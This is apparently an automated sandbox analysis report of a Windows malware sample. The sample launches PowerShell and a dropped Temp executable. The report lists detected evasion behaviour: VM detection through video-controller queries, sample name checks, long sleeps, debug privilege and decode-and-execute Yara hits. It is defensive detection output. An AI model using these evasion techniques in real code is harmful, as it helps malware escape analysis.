Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

.NET source code contains a sample name check

Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.263b45551b0.9.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.263bc030000.12.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main contains sample name check
Source: 5.2.powershell.exe.263b45a51e8.8.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	.Net Code: Main contains sample name check

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\user\appdata\local\temp\e45iasd.exe	Key value queried: Powershell behavior
Source: c:\users\user\appdata\local\temp\e45iasd.exe	Key value queried: Powershell behavior
Source: c:\users\user\appdata\local\temp\e45iasd.exe	Key value queried: Powershell behavior

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 1802B0F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 1802B130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 2A363490000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 2A363490000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 1EB32910000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Memory allocated: 1EB32940000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5513	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4256	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7318	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2327	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4989	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4691	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 7248
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 2314
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 6733
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 2693
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 6676
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Window / User API: threadDelayed 2805

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 5513 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 4256 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 312	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe TID: 2192	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe TID: 4192	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe TID: 4860	Thread sleep count: 6676 > 30
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe TID: 4860	Thread sleep count: 2805 > 30
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe TID: 8148	Thread sleep time: -25825441703193356s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: amsi64_7900.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5264.amsi.csv, type: OTHER

.NET source code references suspicious native API functions

Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Reference to suspicious API methods: LoadLibrary("ntdll.dll")
